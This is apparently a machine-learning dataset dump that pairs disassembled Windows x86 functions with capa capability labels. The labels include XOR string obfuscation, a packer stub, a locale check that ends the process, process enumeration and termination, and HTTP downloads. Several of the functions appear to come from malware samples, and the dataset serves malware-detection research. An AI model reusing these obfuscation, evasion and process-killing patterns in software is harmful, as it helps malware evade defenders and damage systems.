joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a2bc
Capabilities:
Accept command line arguments
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor ebx, ebx
mov dword [ebp - 0x10], eax
and dword [ebp - 0x14], ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 8], eax
lea ecx, [eax*2 + 2]
call fcn.00406b28
mov esi, eax
test esi, esi
je 0x40a3fe
and dword [ebp - 0xc], ebx
xor ecx, ecx
mov edx, dword [ebp - 8]
xor edi, edi
test edx, edx
jle 0x40a3f7
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + edi*2]
cmp eax, 0x22
jne 0x40a321
xor eax, eax
cmp dword [ebp - 0xc], eax
sete al
mov dword [ebp - 0xc], eax
jmp 0x40a337
push 0x20
pop edx
cmp ax, dx
mov edx, dword [ebp - 8]
jne 0x40a332
cmp dword [ebp - 0xc], 0
je 0x40a337
mov word [esi + ecx*2], ax
inc ecx
test ecx, ecx
je 0x40a3eb
lea eax, [edx - 1]
cmp edi, eax
je 0x40a363
mov eax, dword [ebp - 0x10]
push 0x20
pop edx
cmp word [eax + edi*2], dx
mov edx, dword [ebp - 8]
jne 0x40a3ee
cmp dword [ebp - 0xc], 0
jne 0x40a3ee
cmp word [esi + ecx*2 - 2], 0x5c
lea eax, [ecx - 1]
cmovne eax, ecx
xor ecx, ecx
mov word [esi + eax*2], cx
mov ecx, dword [ebp - 0x14]
mov eax, ecx
inc ecx
mov dword [ebp - 0x14], ecx
test eax, eax
je 0x40a3e9
mov ecx, esi
call fcn.00409baa
test eax, eax
je 0x40a3a1
mov ecx, dword [ebp - 0x18]
mov edx, esi
push 0
push 0
push 1
call fcn.00407dea
add esp, 0xc
inc ebx
mov ecx, esi
call fcn.00409be1
test eax, eax
je 0x40a3e6
mov ecx, dword [ebp - 0x18]
mov edx, esi
push 0
push 0
push 2
call fcn.00407dea
add esp, 0xc
test eax, eax
je 0x40a3e5
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a3cc
mov edx, esi
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d3a2
inc ebx
mov edx, dword [ebp - 8]
xor ecx, ecx
mov eax, dword [ebp - 0x10]
inc edi
cmp edi, edx
jl 0x40a30b
mov ecx, esi
call fcn.00406bcd
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x40a405
Capabilities:
Encode data using xor
Get geographical location
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push 3
lea eax, [ebp - 8]
push eax
push 0x5a
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
movaps xmm0, xmmword [0x401ac0]
xor eax, eax
movups xmmword [ebp - 0x46], xmm0
mov ecx, eax
mov dword [ebp - 0x16], 0x55145500
movaps xmm0, xmmword [0x401ad0]
movups xmmword [ebp - 0x36], xmm0
mov dword [ebp - 0x12], 0x550f5500
movaps xmm0, xmmword [0x401b10]
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0xe], 0x551b5503
mov word [ebp - 0xa], 0x55
xor byte [ebp + ecx - 0x46], 0x55
inc ecx
cmp ecx, 0x3d
jb 0x40a45e
mov cx, word [ebp - 0x46]
mov byte [ebp - 9], al
test cx, cx
je 0x40a49c
push esi
mov esi, dword [ebp - 6]
movzx edx, cx
mov ecx, eax
cmp word [ebp - 8], dx
jne 0x40a48b
cmp si, word [ebp + ecx - 0x44]
je 0x40a49e
add eax, 2
lea ecx, [eax + eax]
movzx edx, word [ebp + ecx - 0x46]
test dx, dx
jne 0x40a47e
pop esi
leave
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40a51f
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
cmp dword [0x412dd1], 0
push ebx
push esi
mov ebx, edx
mov esi, ecx
push edi
mov dword [ebp - 0x20], ebx
je 0x40a6c2
mov edi, 0x412dd5
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40a6c2
xor eax, eax
push eax
push eax
push eax
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
je 0x40a6c2
mov ecx, dword [0x412dd1]
lea eax, [ebp - 0x248]
inc ecx
push ecx
push eax
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movaps xmm0, xmmword [0x401f70]
xor eax, eax
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0x555575
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0x13
jb 0x40a59b
lea eax, [ebp - 0x1c]
mov byte [ebp - 9], 0
push eax
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x148]
push ebx
push eax
call edi
xor ebx, ebx
mov dword [ebp - 8], 0x555f5558
mov word [ebp - 4], 0x55
mov eax, ebx
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 5
jb 0x40a5dc
lea eax, [ebp - 8]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x148]
push eax
call edi
push ebx
push closesocket
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x40a6bf
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x648]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40a651
cmp dword [ebp - 8], 0
ja 0x40a630
push edi
call ebx
movaps xmm0, xmmword [0x401f50]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov eax, ecx
mov dword [ebp - 0x28], 0x55705575
movaps xmm0, xmmword [0x401f80]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0x555526
xor byte [ebp + eax - 0x48], 0x55
inc eax
cmp eax, 0x27
jb 0x40a67c
movaps xmm0, xmmword [0x4019d0]
mov eax, ecx
mov byte [ebp - 0x21], cl
movups xmmword [ebp - 0x18], xmm0
xor byte [ebp + eax - 0x18], 0x55
inc eax
cmp eax, 0xf
jb 0x40a697
push dword [ebp - 0x20]
lea eax, [ebp - 0x248]
mov byte [ebp - 9], cl
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040d449
add esp, 0x10
push esi
call ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a6c7
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
lea ecx, [ebp - 4]
mov edx, 0x40f4c1
call fcn.00402190
test eax, eax
je 0x40a7f8
push esi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x26c], 0x22c
lea eax, [ebp - 0x26c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40a7e8
push edi
sub esp, 0xc
lea edx, [ebp - 0x248]
lea ecx, [ebp - 4]
call fcn.00402286
add esp, 0xc
test eax, eax
je 0x40a7d1
push dword [ebp - 0x264]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40a7d1
push 9
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x40a7ca
movaps xmm0, xmmword [0x401f60]
xor ecx, ecx
movups xmmword [ebp - 0x3e], xmm0
mov eax, ecx
mov dword [ebp - 0x1e], 0x55557c
movaps xmm0, xmmword [0x401b60]
movups xmmword [ebp - 0x2e], xmm0
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x23
jb 0x40a777
movaps xmm0, xmmword [0x401b80]
mov eax, ecx
mov byte [ebp - 0x1b], cl
movups xmmword [ebp - 0x1a], xmm0
mov dword [ebp - 0xa], 0x55315530
mov word [ebp - 6], 0x55
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 0x15
jb 0x40a79f
push dword [ebp - 0x264]
lea eax, [ebp - 0x248]
mov byte [ebp - 5], cl
push eax
lea eax, [ebp - 0x3e]
push eax
lea eax, [ebp - 0x1a]
push eax
call fcn.0040d449
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x26c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40a713
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 4]
call fcn.00402249
pop esi
leave
ret

Function at 0x40a7fa
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
xor ebx, ebx
mov esi, ecx
inc ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40a875
mov eax, dword [ebp - 0x10]
xor edx, edx
push 0xa
pop ecx
div ecx
mov ecx, 0x2710
cmp eax, ecx
mov edi, eax
cmova edi, ecx
mov ecx, 0x3e8
cmp eax, ecx
cmovb edi, ecx
jmp 0x40a870
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40a870
cmp dword [ebp - 0x24], ebx
je 0x40a87c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x41409c]
cmp eax, 0x7530
ja 0x40a875
cmp dword [ebp - 0x24], ebx
jne 0x40a83a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, ebx
jmp 0x40a877
Function at 0x40aaf1
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [0x4140a0], 0
jne 0x40ab1a
test ecx, ecx
je 0x40ab13
xor eax, eax
push eax
push eax
push eax
push fcn.0040a880
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
ret
push 0
call fcn.0040a880
pop ecx
ret

Function at 0x40ab1c
Capabilities:
Encode data using xor
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x27c
push ebx
push esi
push edi
push 8
pop ecx
xor ebx, ebx
call fcn.00406b28
mov edi, eax
test edi, edi
je 0x40ac8b
mov dword [ebp - 8], 0x556f550a
xor eax, eax
mov dword [ebp - 4], 0x555509
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 7
jb 0x40ab4c
lea eax, [ebp - 8]
mov byte [ebp - 1], bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor esi, esi
push edi
mov word [edi], si
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x40ab7f
lea eax, [esi + 0x41]
mov word [ebp + ebx*2 - 0x74], ax
inc ebx
inc esi
cmp si, 0x1a
jb 0x40ab67
mov ecx, 0x10000
call fcn.00406b28
mov esi, eax
test esi, esi
je 0x40ac84
push 0x8000
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x40ac74
push 0x200
lea ecx, [ebp - 0x278]
call fcn.00406b80
and dword [ebp - 4], 0
lea eax, [ebp - 4]
add esp, 4
push eax
push 0x80
mov eax, ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x40abf1
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
je 0x40ac5d
mov ax, word [ebp + ebx*2 - 0x76]
dec ebx
push esi
push edi
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
movaps xmm0, xmmword [0x402000]
xor ecx, ecx
movups xmmword [ebp - 0x3e], xmm0
mov eax, ecx
mov word [ebp - 0x1e], 0x55
movaps xmm0, xmmword [0x401c60]
movups xmmword [ebp - 0x2e], xmm0
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x21
jb 0x40ac22
movaps xmm0, xmmword [0x4019b0]
mov eax, ecx
mov byte [ebp - 0x1d], cl
movups xmmword [ebp - 0x1c], xmm0
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0xf
jb 0x40ac3d
push edi
push esi
lea eax, [ebp - 0x3e]
mov byte [ebp - 0xd], cl
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040d449
add esp, 0x10
push 0x8000
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x40aba9
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov ecx, esi
call fcn.00406bcd
mov ecx, edi
call fcn.00406bcd
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b028
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x23
jb 0x40b02a
mov byte [ecx + 0x23], 0
mov eax, ecx
ret

Function at 0x40b03b
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x27
jb 0x40b03d
mov byte [ecx + 0x27], 0
mov eax, ecx
ret

Function at 0x40b0a1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
movaps xmm0, xmmword [0x401c00]
xor eax, eax
movups xmmword [ebp - 0x32], xmm0
mov word [ebp - 2], 0x55
movaps xmm0, xmmword [0x401e30]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401f40]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x31
jb 0x40b0d0
lea eax, [ebp - 0x32]
mov byte [ebp - 1], 0
push eax
push 0x24
call fcn.0040b04e
sub eax, 6
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
leave
ret

Function at 0x40b0f6
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
call fcn.00409ab9
test eax, eax
je 0x40b10a
xor eax, eax
inc eax
leave
ret
movaps xmm0, xmmword [0x401b70]
xor eax, eax
movups xmmword [ebp - 0x3e], xmm0
mov dword [ebp - 0xe], 0x553c5520
movaps xmm0, xmmword [0x401ea0]
movups xmmword [ebp - 0x2e], xmm0
mov dword [ebp - 0xa], 0x55305527
movaps xmm0, xmmword [0x401c20]
movups xmmword [ebp - 0x1e], xmm0
mov dword [ebp - 6], 0x55745531
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x3d
jb 0x40b148
lea eax, [ebp - 0x3e]
mov byte [ebp - 1], 0
push eax
push 0x10
call fcn.0040b04e
pop ecx
pop ecx
xor eax, eax
leave
ret
Function at 0x40d4f6
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2b
jb 0x40d4f8
mov byte [ecx + 0x2b], 0
mov eax, ecx
ret

Function at 0x40d509
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x25
jb 0x40d50b
mov byte [ecx + 0x25], 0
mov eax, ecx
ret

Function at 0x40d51c
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x81
jb 0x40d51e
mov byte [ecx + 0x81], 0
mov eax, ecx
ret

Function at 0x40d534
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2f
jb 0x40d536
mov byte [ecx + 0x2f], 0
mov eax, ecx
ret

Function at 0x40d547
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x5d
jb 0x40d549
mov byte [ecx + 0x5d], 0
mov eax, ecx
ret

Function at 0x40d55a
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x39
jb 0x40d55c
mov byte [ecx + 0x39], 0
mov eax, ecx
ret

Function at 0x40d56d
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x4b
jb 0x40d56f
mov byte [ecx + 0x4b], 0
mov eax, ecx
ret

Function at 0x40d580
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x29
jb 0x40d582
mov byte [ecx + 0x29], 0
mov eax, ecx
ret

Function at 0x40d593
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x5b
jb 0x40d595
mov byte [ecx + 0x5b], 0
mov eax, ecx
ret

Function at 0x40d5a6
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x43
jb 0x40d5a8
mov byte [ecx + 0x43], 0
mov eax, ecx
ret
Function at 0x40ce0a
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push edi
push esi
lea edx, [6]
push edx
mov edi, 0x4ee
shr edi, 8
push edi
pop dword [0x42499a]
push 0x424b96
mov ebx, 0x482
and ebx, 0xff
or ebx, ebx
jne 0x40ce3f
shl ebx, 6
mov dword [ebp - 0x30], ebx
push 0x60
jmp loc.00462570

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4010d4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x88], eax
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x88], 0
jne 0x401104
xor al, al
jmp 0x401129
lea eax, [ebp - 4]
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
push 0x40112d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
xor eax, eax
cmp dword [ebp - 8], 0
setne al
mov esp, ebp
pop ebp
ret

Function at 0x4011b1
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp + 0x10], eax
call fcn.00404062
mov dword [ebp - 4], eax
mov eax, dword [0x40a878]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [ebp - 0x10]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 0xc], eax
push 0x4071c0
mov edx, dword [ebp + 8]
push edx
push 0x40a880
mov ecx, 0x40a7e8
call fcn.004058e0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x40a86c], eax
mov ax, word [0x40a108]
mov word [ebp - 0x1c], ax
mov cl, byte [0x40a10a]
mov byte [ebp - 0x1a], cl
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 1
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp + 0x10]
push eax
call fcn.00401147
add esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4012d5
push str.UnregServer
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401280
push 0
push 0
push 0x64
push 0x40a7e8
call fcn.00405ae0
push 0
push 1
mov ecx, 0x40a7e8
call fcn.00405ac0
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x4012d5
push str.RegServer
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4012bd
push 0
push 1
push 0x64
push 0x40a7e8
call fcn.00405ae0
push 0
push 1
mov ecx, 0x40a7e8
call fcn.00405aa0
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x4012d5
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00401147
add esp, 8
mov dword [ebp - 0x18], eax
jmp 0x401239
cmp dword [ebp - 0x14], 0
je 0x40132b
mov ecx, 0x40a7e8
call fcn.004010d4
push 1
push 4
mov ecx, 0x40a7e8
call fcn.00405b10
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
lea edx, [ebp - 0x38]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401316
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x4012f6
mov ecx, 0x40a7e8
call fcn.00405b30
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x40a7e8
call fcn.00405a40
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40163d
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 8], eax
push 0xa
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x401a72
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 0x64
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x7c], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 0x7c], 0
je 0x401aaa
mov eax, dword [ebp - 8]
add eax, 0x7c
mov dword [ebp - 8], eax
jmp 0x401b32
push 0
push 0
push 4
push 0
push 0
push 2
push 0x40a1b0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401b1d
push 0x80
call fcn.00405dc3
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
je 0x401b1d
push 0
lea edx, [ebp - 8]
push edx
push 4
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 8], 4
jne 0x401b1d
push 0
lea edx, [ebp - 8]
push edx
push 4
mov eax, dword [ebp - 4]
add eax, 0x570
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.wing.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x7c]
mov dword [eax + 0x68], edx
mov eax, dword [ebp - 4]
mov dword [eax + 0x158], 0x408000
mov ecx, dword [ebp - 4]
mov edx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ecx + 0x14c], edx
mov eax, dword [ebp - 4]
mov dword [eax + 0x120], 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.004040e5
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x401bee
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 0xc], 0
je 0x401c44
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
jmp 0x401c31
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x40]
add ecx, 3
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp + 0xc]
jae 0x401c44
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x14], eax
jmp 0x401c1f
push 0
push 0
push 0
push 1
push str.Mzlaa_UA10
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x401c77
push 0
call fcn.00401b78
add esp, 4
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x20]
mov esp, ebp
pop ebp
ret

Function at 0x403d3e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x18]
xor eax, eax
mov ax, word [edx + 8]
push eax
push 0
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x18]
push edx
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2c], eax
mov word [ebp - 0x28], 0x4d42
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x20]
lea edx, [edx + ecx*4 + 0xe]
mov eax, dword [ebp - 0x18]
add edx, dword [eax + 0x14]
mov dword [ebp - 0x26], edx
mov word [ebp - 0x22], 0
mov word [ebp - 0x20], 0
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x20]
lea edx, [edx + ecx*4 + 0xe]
mov dword [ebp - 0x1e], edx
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x20]
lea eax, [edx*4 + 0x28]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x14]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
push 0
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x403e5c
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x403e5c
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov esp, ebp
pop ebp
ret